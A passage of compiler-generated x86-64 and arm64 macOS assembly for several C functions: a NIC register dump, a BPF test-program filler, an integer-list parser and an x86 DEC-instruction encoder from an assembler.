[x20, #-4] ldr w1, [x27] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x20] ldr w1, [x28] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x20, #4] ldr w1, [x23] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x20, #8] ldr w1, [x22] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x20, #12] ldr w1, [x24] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x20, #16] add w21, w21, #1 ldr w8, [x25] add x20, x20, #36 cmp w21, w8 b.lt LBB0_27 LBB0_28: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh25, Lloh26 .loh AdrpLdrGotLdr Lloh22, Lloh23, Lloh24 .loh AdrpLdrGotLdr Lloh19, Lloh20, Lloh21 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .loh AdrpLdrGot Lloh27, Lloh28 .loh AdrpLdrGot Lloh29, Lloh30 .loh AdrpLdrGot Lloh31, Lloh32 .loh AdrpLdrGot Lloh33, Lloh34 .loh AdrpLdrGot Lloh35, Lloh36 .loh AdrpLdrGot Lloh40, Lloh41 .loh AdrpLdrGotLdr Lloh37, Lloh38, Lloh39 .loh AdrpLdrGot Lloh46, Lloh47 .loh AdrpLdrGot Lloh44, Lloh45 .loh AdrpLdrGot Lloh42, Lloh43 .loh AdrpLdrGotLdr Lloh66, Lloh67, Lloh68 .loh AdrpLdrGotLdr Lloh63, Lloh64, Lloh65 .loh AdrpLdrGotLdr Lloh60, Lloh61, Lloh62 .loh AdrpLdrGotLdr Lloh57, Lloh58, Lloh59 .loh AdrpLdrGotLdr Lloh54, Lloh55, Lloh56 .loh AdrpLdrGotLdr Lloh51, Lloh52, Lloh53 .loh AdrpLdrGotLdr Lloh48, Lloh49, Lloh50 .loh AdrpLdrGot Lloh69, Lloh70 .loh AdrpLdrGot Lloh73, Lloh74 .loh AdrpLdrGot Lloh71, Lloh72 .loh AdrpLdrGot Lloh75, Lloh76 .loh AdrpLdrGot Lloh83, Lloh84 .loh AdrpLdrGot Lloh81, Lloh82 .loh AdrpLdrGot Lloh79, Lloh80 .loh AdrpLdrGot Lloh77, Lloh78 .loh AdrpLdrGotLdr Lloh97, Lloh98, Lloh99 .loh AdrpLdrGotLdr Lloh94, Lloh95, Lloh96 .loh AdrpLdrGotLdr Lloh91, Lloh92, Lloh93 .loh AdrpLdrGotLdr Lloh88, Lloh89, Lloh90 .loh AdrpLdrGotLdr Lloh85, Lloh86, Lloh87 .loh AdrpLdrGot Lloh100, Lloh101 .loh AdrpLdrGot Lloh112, Lloh113 .loh AdrpLdrGot Lloh110, Lloh111 .loh AdrpLdrGot Lloh108, Lloh109 .loh AdrpLdrGot Lloh106, Lloh107 .loh AdrpLdrGot Lloh104, Lloh105 .loh AdrpLdrGot Lloh102, Lloh103 .loh AdrpLdrGotLdr Lloh120, Lloh121, Lloh122 .loh AdrpLdrGotLdr Lloh117, Lloh118, Lloh119 .loh AdrpLdrGotLdr Lloh114, Lloh115, Lloh116 .cfi_endproc ; -- End function .comm _NIC_VF_REG_COUNT,4,2 ; @NIC_VF_REG_COUNT .comm _NIC_VNIC_CFG,4,2 ; @NIC_VNIC_CFG .comm _NIC_PF_VF_MAILBOX_SIZE,4,2 ; @NIC_PF_VF_MAILBOX_SIZE .comm _NIC_VF_PF_MAILBOX_0_1,4,2 ; @NIC_VF_PF_MAILBOX_0_1 .comm _NIC_VF_INT,4,2 ; @NIC_VF_INT .comm _NIC_VF_INT_W1S,4,2 ; @NIC_VF_INT_W1S .comm _NIC_VF_ENA_W1C,4,2 ; @NIC_VF_ENA_W1C .comm _NIC_VF_ENA_W1S,4,2 ; @NIC_VF_ENA_W1S .comm _NIC_VNIC_RSS_CFG,4,2 ; @NIC_VNIC_RSS_CFG .comm _RSS_HASH_KEY_SIZE,4,2 ; @RSS_HASH_KEY_SIZE .comm _NIC_VNIC_RSS_KEY_0_4,4,2 ; @NIC_VNIC_RSS_KEY_0_4 .comm _TX_STATS_ENUM_LAST,4,2 ; @TX_STATS_ENUM_LAST .comm _NIC_VNIC_TX_STAT_0_4,4,2 ; @NIC_VNIC_TX_STAT_0_4 .comm _RX_STATS_ENUM_LAST,4,2 ; @RX_STATS_ENUM_LAST .comm _NIC_VNIC_RX_STAT_0_13,4,2 ; @NIC_VNIC_RX_STAT_0_13 .comm _NIC_QSET_RQ_GEN_CFG,4,2 ; @NIC_QSET_RQ_GEN_CFG .comm _MAX_CMP_QUEUES_PER_QS,4,2 ; @MAX_CMP_QUEUES_PER_QS .comm _NIC_QSET_CQ_0_7_CFG,4,2 ; @NIC_QSET_CQ_0_7_CFG .comm _NIC_QSET_CQ_0_7_CFG2,4,2 ; @NIC_QSET_CQ_0_7_CFG2 .comm _NIC_QSET_CQ_0_7_THRESH,4,2 ; @NIC_QSET_CQ_0_7_THRESH .comm _NIC_QSET_CQ_0_7_BASE,4,2 ; @NIC_QSET_CQ_0_7_BASE .comm _NIC_QSET_CQ_0_7_HEAD,4,2 ; @NIC_QSET_CQ_0_7_HEAD .comm _NIC_QSET_CQ_0_7_TAIL,4,2 ; @NIC_QSET_CQ_0_7_TAIL .comm _NIC_QSET_CQ_0_7_DOOR,4,2 ; @NIC_QSET_CQ_0_7_DOOR .comm _NIC_QSET_CQ_0_7_STATUS,4,2 ; @NIC_QSET_CQ_0_7_STATUS .comm _NIC_QSET_CQ_0_7_STATUS2,4,2 ; @NIC_QSET_CQ_0_7_STATUS2 .comm _NIC_QSET_CQ_0_7_DEBUG,4,2 ; @NIC_QSET_CQ_0_7_DEBUG .comm _MAX_RCV_QUEUES_PER_QS,4,2 ; @MAX_RCV_QUEUES_PER_QS .comm _NIC_QSET_RQ_0_7_CFG,4,2 ; @NIC_QSET_RQ_0_7_CFG .comm _NIC_QSET_RQ_0_7_STAT_0_1,4,2 ; @NIC_QSET_RQ_0_7_STAT_0_1 .comm _MAX_SND_QUEUES_PER_QS,4,2 ; @MAX_SND_QUEUES_PER_QS .comm _NIC_QSET_SQ_0_7_CFG,4,2 ; @NIC_QSET_SQ_0_7_CFG .comm _NIC_QSET_SQ_0_7_THRESH,4,2 ; @NIC_QSET_SQ_0_7_THRESH .comm _NIC_QSET_SQ_0_7_BASE,4,2 ; @NIC_QSET_SQ_0_7_BASE .comm _NIC_QSET_SQ_0_7_HEAD,4,2 ; @NIC_QSET_SQ_0_7_HEAD .comm _NIC_QSET_SQ_0_7_TAIL,4,2 ; @NIC_QSET_SQ_0_7_TAIL .comm _NIC_QSET_SQ_0_7_DOOR,4,2 ; @NIC_QSET_SQ_0_7_DOOR .comm _NIC_QSET_SQ_0_7_STATUS,4,2 ; @NIC_QSET_SQ_0_7_STATUS .comm _NIC_QSET_SQ_0_7_DEBUG,4,2 ; @NIC_QSET_SQ_0_7_DEBUG .comm _NIC_QSET_SQ_0_7_STAT_0_1,4,2 ; @NIC_QSET_SQ_0_7_STAT_0_1 .comm _MAX_RCV_BUF_DESC_RINGS_PER_QS,4,2 ; @MAX_RCV_BUF_DESC_RINGS_PER_QS .comm _NIC_QSET_RBDR_0_1_CFG,4,2 ; @NIC_QSET_RBDR_0_1_CFG .comm _NIC_QSET_RBDR_0_1_THRESH,4,2 ; @NIC_QSET_RBDR_0_1_THRESH .comm _NIC_QSET_RBDR_0_1_BASE,4,2 ; @NIC_QSET_RBDR_0_1_BASE .comm _NIC_QSET_RBDR_0_1_HEAD,4,2 ; @NIC_QSET_RBDR_0_1_HEAD .comm _NIC_QSET_RBDR_0_1_TAIL,4,2 ; @NIC_QSET_RBDR_0_1_TAIL .comm _NIC_QSET_RBDR_0_1_DOOR,4,2 ; @NIC_QSET_RBDR_0_1_DOOR .comm _NIC_QSET_RBDR_0_1_STATUS0,4,2 ; @NIC_QSET_RBDR_0_1_STATUS0 .comm _NIC_QSET_RBDR_0_1_STATUS1,4,2 ; @NIC_QSET_RBDR_0_1_STATUS1 .comm _NIC_QSET_RBDR_0_1_PREFETCH_STATUS,4,2 ; @NIC_QSET_RBDR_0_1_PREFETCH_STATUS .no_dead_strip _nicvf_get_regs .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function bpf_fill_jump_around_ld_abs _bpf_fill_jump_around_ld_abs: ## @bpf_fill_jump_around_ld_abs .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movq 8(%rdi), %r14 movq _BPF_REG_6@GOTPCREL(%rip), %rax movl (%rax), %edi movq _BPF_REG_1@GOTPCREL(%rip), %rax movl (%rax), %esi callq _BPF_MOV64_REG movl %eax, (%r14) movq _BPF_B@GOTPCREL(%rip), %r15 movl (%r15), %edi xorl %esi, %esi callq _BPF_LD_ABS movl %eax, 4(%r14) movq _BPF_JEQ@GOTPCREL(%rip), %rax movl (%rax), %edi movq _BPF_REG_0@GOTPCREL(%rip), %rax movl (%rax), %esi movl $10, %edx movl $4677, %ecx ## imm = 0x1245 callq _BPF_JMP_IMM movl %eax, 8(%r14) movl $3, %r12d .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 leaq 1(%r12), %r13 movl (%r15), %edi movl $1, %esi callq _BPF_LD_ABS movl %eax, (%r14,%r12,4) movq %r13, %r12 cmpq $4681, %r13 ## imm = 0x1249 jne LBB0_1 ## %bb.2: xorl %eax, %eax callq _BPF_EXIT_INSN movl %eax, 18724(%r14) movl $4682, (%rbx) ## imm = 0x124A addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _BPF_REG_6,4,2 ## @BPF_REG_6 .comm _BPF_REG_1,4,2 ## @BPF_REG_1 .comm _BPF_B,4,2 ## @BPF_B .comm _BPF_JEQ,4,2 ## @BPF_JEQ .comm _BPF_REG_0,4,2 ## @BPF_REG_0 .no_dead_strip _bpf_fill_jump_around_ld_abs .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function bpf_fill_jump_around_ld_abs _bpf_fill_jump_around_ld_abs: ; @bpf_fill_jump_around_ld_abs .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x0 ldr x20, [x0, #8] Lloh0: adrp x8, _BPF_REG_6@GOTPAGE Lloh1: ldr x8, [x8, _BPF_REG_6@GOTPAGEOFF] Lloh2: ldr w0, [x8] Lloh3: adrp x8, _BPF_REG_1@GOTPAGE Lloh4: ldr x8, [x8, _BPF_REG_1@GOTPAGEOFF] Lloh5: ldr w1, [x8] bl _BPF_MOV64_REG str w0, [x20] Lloh6: adrp x21, _BPF_B@GOTPAGE Lloh7: ldr x21, [x21, _BPF_B@GOTPAGEOFF] ldr w0, [x21] mov w1, #0 ; =0x0 bl _BPF_LD_ABS str w0, [x20, #4] Lloh8: adrp x8, _BPF_JEQ@GOTPAGE Lloh9: ldr x8, [x8, _BPF_JEQ@GOTPAGEOFF] Lloh10: ldr w0, [x8] Lloh11: adrp x8, _BPF_REG_0@GOTPAGE Lloh12: ldr x8, [x8, _BPF_REG_0@GOTPAGEOFF] Lloh13: ldr w1, [x8] mov w2, #10 ; =0xa mov w3, #4677 ; =0x1245 bl _BPF_JMP_IMM str w0, [x20, #8] add x22, x20, #12 mov w23, #4678 ; =0x1246 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w0, [x21] mov w1, #1 ; =0x1 bl _BPF_LD_ABS str w0, [x22], #4 subs x23, x23, #1 b.ne LBB0_1 ; %bb.2: bl _BPF_EXIT_INSN mov w8, #18724 ; =0x4924 str w0, [x20, x8] mov w8, #4682 ; =0x124a str w8, [x19] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _BPF_REG_6,4,2 ; @BPF_REG_6 .comm _BPF_REG_1,4,2 ; @BPF_REG_1 .comm _BPF_B,4,2 ; @BPF_B .comm _BPF_JEQ,4,2 ; @BPF_JEQ .comm _BPF_REG_0,4,2 ; @BPF_REG_0 .no_dead_strip _bpf_fill_jump_around_ld_abs .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _parse_int_list ## -- Begin function parse_int_list .p2align 4, 0x90 _parse_int_list: ## @parse_int_list .cfi_startproc ## %bb.0: testl %esi, %esi jle LBB0_1 ## %bb.3: movl $-1, %eax cmpb $44, (%rdi) jne LBB0_2 ## %bb.4: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r15d movq %rdi, %r14 leaq -1(%rdi), %rbx leaq -32(%rbp), %rsi movq %rbx, %rdi movl $10, %edx callq _strtol movq _R@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movq %rax, (%rcx) movq -32(%rbp), %rcx cmpq %rcx, %rbx je LBB0_5 ## %bb.6: movq _MAX_USERS@GOTPCREL(%rip), %rdx cmpl $1, (%rdx) sete %dl addq $-2147483647, %rax ## imm = 0x80000001 cmpq $-2147483646, %rax ## imm = 0x80000002 setb %al orb %dl, %al cmpb $1, %al movl $-1, %eax je LBB0_8 ## %bb.7: movslq %r15d, %rax addq %rax, %r14 xorl %eax, %eax cmpq %r14, %rcx sbbl %eax, %eax orl $1, %eax jmp LBB0_8 LBB0_1: xorl %eax, %eax LBB0_2: retq LBB0_5: movl $-1, %eax LBB0_8: addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _R,8,3 ## @R .comm _MAX_USERS,4,2 ## @MAX_USERS .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _parse_int_list ; -- Begin function parse_int_list .p2align 2 _parse_int_list: ; @parse_int_list .cfi_startproc ; %bb.0: cmp w1, #1 b.lt LBB0_5 ; %bb.1: ldrb w8, [x0] cmp w8, #44 b.ne LBB0_6 ; %bb.2: sub sp, sp, #64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x1 mov x21, x0 sub x19, x0, #1 add x1, sp, #8 mov x0, x19 mov w2, #10 ; =0xa bl _strtol Lloh0: adrp x8, _R@GOTPAGE Lloh1: ldr x8, [x8, _R@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x0, [x8] ldr x8, [sp, #8] cmp x19, x8 b.eq LBB0_7 ; %bb.3: Lloh3: adrp x9, _MAX_USERS@GOTPAGE Lloh4: ldr x9, [x9, _MAX_USERS@GOTPAGEOFF] Lloh5: ldr w9, [x9] mov x10, #-2147483647 ; =0xffffffff80000001 add x11, x0, x10 mov w0, #-1 ; =0xffffffff cmp w9, #1 ccmp x11, x10, #0, ne b.ls LBB0_8 ; %bb.4: add x9, x21, w20, sxtw cmp x8, x9 cneg w0, w0, hs b LBB0_8 LBB0_5: mov w0, #0 ; =0x0 ret LBB0_6: mov w0, #-1 ; =0xffffffff ret LBB0_7: mov w0, #-1 ; =0xffffffff LBB0_8: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _R,8,3 ; @R .comm _MAX_USERS,4,2 ; @MAX_USERS .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function opdec _opdec: ## @opdec .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq (%rdx), %rax cmpl $0, 56(%rax) je LBB0_2 ## %bb.1: leaq L_.str(%rip), %rdi callq _eprintf movl $-1, %eax LBB0_58: addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_2: movq %rdx, %r14 movq %rsi, %rbx movq %rdi, %r15 movq %rdx, %rdi callq _is_valid_registers movq (%r14), %rax movl (%rax), %edx cmpq $0, 48(%rax) je LBB0_3 ## %bb.4: movl 4(%rax), %ecx jmp LBB0_5 LBB0_3: movq _ALL_SIZE@GOTPCREL(%rip), %rcx movl (%rcx), %ecx orl %edx, %ecx LBB0_5: movq _OT_WORD@GOTPCREL(%rip), %rsi xorl %r13d, %r13d movl $0, %r12d testl %ecx, (%rsi) je LBB0_7 ## %bb.6: movl $102, (%rbx) movl (%rax), %edx movl $1, %r12d LBB0_7: movq _OT_QWORD@GOTPCREL(%rip), %rsi xorl %r8d, %r8d testl %ecx, (%rsi) setne %r8b movq 40(%rax), %rsi xorl %r9d, %r9d testq %rsi, %rsi setne %r9b movl %r8d, %r11d orb %r9b, %r11b movq _OT_BYTE@GOTPCREL(%rip), %rdi movl (%rdi), %r10d andl %ecx, %r10d cmpl $1, %r10d adcl $254, %r13d leal (%r9,%r8,8), %r9d addl $64, %r9d movq _OT_MEMORY@GOTPCREL(%rip), %r8 testl %edx, (%r8) je LBB0_8 ## %bb.17: movb %r11b, -41(%rbp) ## 1-byte Spill movl %r13d, -56(%rbp) ## 4-byte Spill movq %rbx, -72(%rbp) ## 8-byte Spill movq 16(%rax), %rdx movl (%rdx), %r15d movq _X86R_RIP@GOTPCREL(%rip), %rcx movl 28(%rax), %r8d imull 24(%rax), %r8d movl (%rcx), %ecx movl %ecx, -52(%rbp) ## 4-byte Spill leal 128(%r8), %ecx cmpl $257, %ecx ## imm = 0x101 movl $2, %r13d sbbl $0, %r13d testl %r8d, %r8d movl %r13d, %ecx cmovel %r8d, %ecx movq _OT_WORD@GOTPCREL(%rip), %r11 testl %r15d, (%r11) movl %r9d, -60(%rbp) ## 4-byte Spill je LBB0_38 ## %bb.18: movq _X86R_BX@GOTPCREL(%rip), %rax movl (%rax), %esi movq _X86R_SI@GOTPCREL(%rip), %rax movl (%rax), %eax cmpl %esi, %r15d movq -72(%rbp), %r9 ## 8-byte Reload movl -56(%rbp), %r10d ## 4-byte Reload jne LBB0_23 ## %bb.19: movl 4(%rdx), %edi cmpl %eax, %edi jne LBB0_21 ## %bb.20: movl %r15d, -48(%rbp) ## 4-byte Spill movq _B0000@GOTPCREL(%rip), %rax jmp LBB0_37 LBB0_8: testb $1, %r11b je LBB0_10 ## %bb.9: movl %r12d, %edx incl %r12d movl %r9d, (%rbx,%rdx,4) LBB0_10: movq _OT_WORD@GOTPCREL(%rip), %rsi movl (%r15), %edx cmpl $33, %edx jl LBB0_13 ## %bb.11: testl %ecx, (%rdi) je LBB0_15 ## %bb.12: movl %r12d, %edx incl %r12d movl %r13d, (%rbx,%rdx,4) movl (%r15), %edx LBB0_13: cmpl $32, %edx jne LBB0_15 ## %bb.14: movq _OT_DWORD@GOTPCREL(%rip), %rdx movl (%rsi), %esi orl (%rdx), %esi movl $72, %edx testl %ecx, %esi jne LBB0_16 LBB0_15: movl $200, %edx LBB0_16: orl 8(%rax), %edx movl %r12d, %eax movl %edx, (%rbx,%rax,4) incl %r12d movl %r12d, %eax jmp LBB0_58 LBB0_38: movl %r15d, -48(%rbp) ## 4-byte Spill movl %r15d, %ebx testq %rsi, %rsi je LBB0_40 ## %bb.39: movl 8(%rax), %ebx LBB0_40: xorl %ecx, %ecx cmpl $5, %ebx sete %cl movq %r8, -80(%rbp) ## 8-byte Spill testl %r8d, %r8d cmovel %ecx, %r13d movl 4(%rdx), %r15d movq 32(%rax), %rax movl 4(%rax), %edi callq _getsib cmpl $-1, %r15d je LBB0_42 ## %bb.41: movl %eax, %ecx shll $6, %ecx shll $3, %r15d orl %ebx, %r15d orl %ecx, %r15d movq _B0100@GOTPCREL(%rip), %rcx movl (%rcx), %ecx xorl %edx, %edx movl %ecx, %ebx jmp LBB0_43 LBB0_21: movq %r8, %rbx movq _X86R_DI@GOTPCREL(%rip), %r8 cmpl (%r8), %edi movq %rbx, %r8 jne LBB0_23 ## %bb.22: movl %r15d, -48(%rbp) ## 4-byte Spill movq _B0001@GOTPCREL(%rip), %rax jmp LBB0_37 LBB0_23: movq _X86R_BP@GOTPCREL(%rip), %rdi cmpl (%rdi), %r15d jne LBB0_28 ## %bb.24: movl 4(%rdx), %edi cmpl %eax, %edi jne LBB0_26 ## %bb.25: movl %r15d, -48(%rbp) ## 4-byte Spill movq _B0010@GOTPCREL(%rip), %rax jmp LBB0_37 LBB0_42: xorl %ecx, %ecx cmpl $4, %ebx setne %dl movl $36, %r15d cmovnel %ecx, %r15d movq _B0100@GOTPCREL(%rip), %rcx movl (%rcx), %ecx cmovel %ecx, %ebx LBB0_43: movl -52(%rbp), %esi ## 4-byte Reload cmpl %esi, -48(%rbp) ## 4-byte Folded Reload movq _OT_WORD@GOTPCREL(%rip), %r11 movq -80(%rbp), %r8 ## 8-byte Reload jne LBB0_45 ## %bb.44: movq _B0000@GOTPCREL(%rip), %rsi movl (%rsi), %ebx shll $6, %ebx movq _B0101@GOTPCREL(%rip), %rsi movl (%rsi), %esi orl %esi, %ebx shll $6, %eax shll $3, %ecx orl %esi, %ecx orl %eax, %ecx movl %ecx, %r15d jmp LBB0_46 LBB0_45: movl %r13d, %eax shll $6, %eax orl %eax, %ebx LBB0_46: orl $8, %ebx movl %r13d, %ecx movq -72(%rbp), %r9 ## 8-byte Reload movl -56(%rbp), %r10d ## 4-byte Reload jmp LBB0_47 LBB0_26: movq %r8, %rbx movq _X86R_DI@GOTPCREL(%rip), %r8 cmpl (%r8), %edi movq %rbx, %r8 jne LBB0_28 ## %bb.27: movl %r15d, -48(%rbp) ## 4-byte Spill movq _B0011@GOTPCREL(%rip), %rax jmp LBB0_37 LBB0_28: cmpl %eax, %r15d jne LBB0_31 ## %bb.29: cmpl $-1, 4(%rdx) je LBB0_30 LBB0_31: movq _X86R_DI@GOTPCREL(%rip), %rax cmpl (%rax), %r15d jne LBB0_34 ## %bb.32: cmpl $-1, 4(%rdx) je LBB0_33 LBB0_34: movl $-1, %eax cmpl %esi, %r15d jne LBB0_58 ## %bb.35: cmpl $-1, 4(%rdx) jne LBB0_58 ## %bb.36: movl %r15d, -48(%rbp) ## 4-byte Spill movq _B0111@GOTPCREL(%rip), %rax jmp LBB0_37 LBB0_30: movl %r15d, -48(%rbp) ## 4-byte Spill movq _B0100@GOTPCREL(%rip), %rax jmp LBB0_37 LBB0_33: movl %r15d, -48(%rbp) ## 4-byte Spill movq _B0101@GOTPCREL(%rip), %rax LBB0_37: movl %ecx, %ebx shll $6, %ebx orl (%rax), %ebx xorl %r15d, %r15d movb $1, %dl LBB0_47: movzbl -41(%rbp), %eax ## 1-byte Folded Reload testb $1, %al je LBB0_49 ## %bb.48: movl %r12d, %eax incl %r12d movl -60(%rbp), %esi ## 4-byte Reload movl %esi, (%r9,%rax,4) LBB0_49: movl %r12d, %esi movl %r10d, (%r9,%rsi,4) leal 2(%r12), %eax movl %ebx, 4(%r9,%rsi,4) testb %dl, %dl jne LBB0_51 ## %bb.50: addl $3, %r12d movl %eax, %eax movl %r15d, (%r9,%rax,4) movl %r12d, %eax LBB0_51: movl -48(%rbp), %edi ## 4-byte Reload cmpl $1, %ecx jne LBB0_53 ## %bb.52: movl %eax, %ecx incl %eax movl %r8d, (%r9,%rcx,4) jmp LBB0_58 LBB0_53: movq (%r14), %rdx movq 16(%rdx), %rdx movl (%r11), %esi testl %esi, (%rdx) je LBB0_56 ## %bb.54: cmpl $2, %ecx jne LBB0_56 ## %bb.55: movl %eax, %ecx movl %r8d, (%r9,%rcx,4) sarl $8, %r8d addl $2, %eax movl %r8d, 4(%r9,%rcx,4) jmp LBB0_58 LBB0_56: cmpl $2, %ecx sete %cl cmpl -52(%rbp), %edi ## 4-byte Folded Reload sete %dl orb %cl, %dl cmpb $1, %dl jne LBB0_58 ## %bb.57: movl %eax, %ecx movl %r8d, (%r9,%rcx,4) movl %r8d, %edx sarl $8, %edx movl %edx, 4(%r9,%rcx,4) movl %r8d, %edx sarl $16, %edx movl %edx, 8(%r9,%rcx,4) sarl $24, %r8d addl $4, %eax movl %r8d, 12(%r9,%rcx,4) jmp LBB0_58 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Error: Invalid operands\n" .comm _ALL_SIZE,4,2 ## @ALL_SIZE .comm _OT_WORD,4,2 ## @OT_WORD .comm _OT_QWORD,4,2 ## @OT_QWORD .comm _OT_BYTE,4,2 ## @OT_BYTE .comm _OT_MEMORY,4,2 ## @OT_MEMORY .comm _OT_DWORD,4,2 ## @OT_DWORD .comm _X86R_RIP,4,2 ## @X86R_RIP .comm _X86R_BX,4,2 ## @X86R_BX .comm _X86R_SI,4,2 ## @X86R_SI .comm _B0000,4,2 ## @B0000 .comm _X86R_DI,4,2 ## @X86R_DI .comm _B0001,4,2 ## @B0001 .comm _X86R_BP,4,2 ## @X86R_BP .comm _B0010,4,2 ## @B0010 .comm _B0011,4,2 ## @B0011 .comm _B0100,4,2 ## @B0100 .comm _B0101,4,2 ## @B0101 .comm _B0111,4,2 ## @B0111 .no_dead_strip _opdec .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal8,8byte_literals .p2align 3, 0x0 ; -- Begin function opdec lCPI0_0: .long 4294967288 ; 0xfffffff8 .long 4294967280 ; 0xfffffff0 .section __TEXT,__text,regular,pure_instructions .p2align 2 _opdec: ; @opdec .cfi_startproc ; %bb.0: sub sp, sp, #112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 ldr x8, [x2] ldr w8, [x8, #56] cbz w8, LBB0_4 ; %bb.1: Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _eprintf LBB0_2: mov w0, #-1 ; =0xffffffff LBB0_3: ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret LBB0_4: mov x20, x2 mov x19, x1 mov x21, x0 mov x0, x2 bl 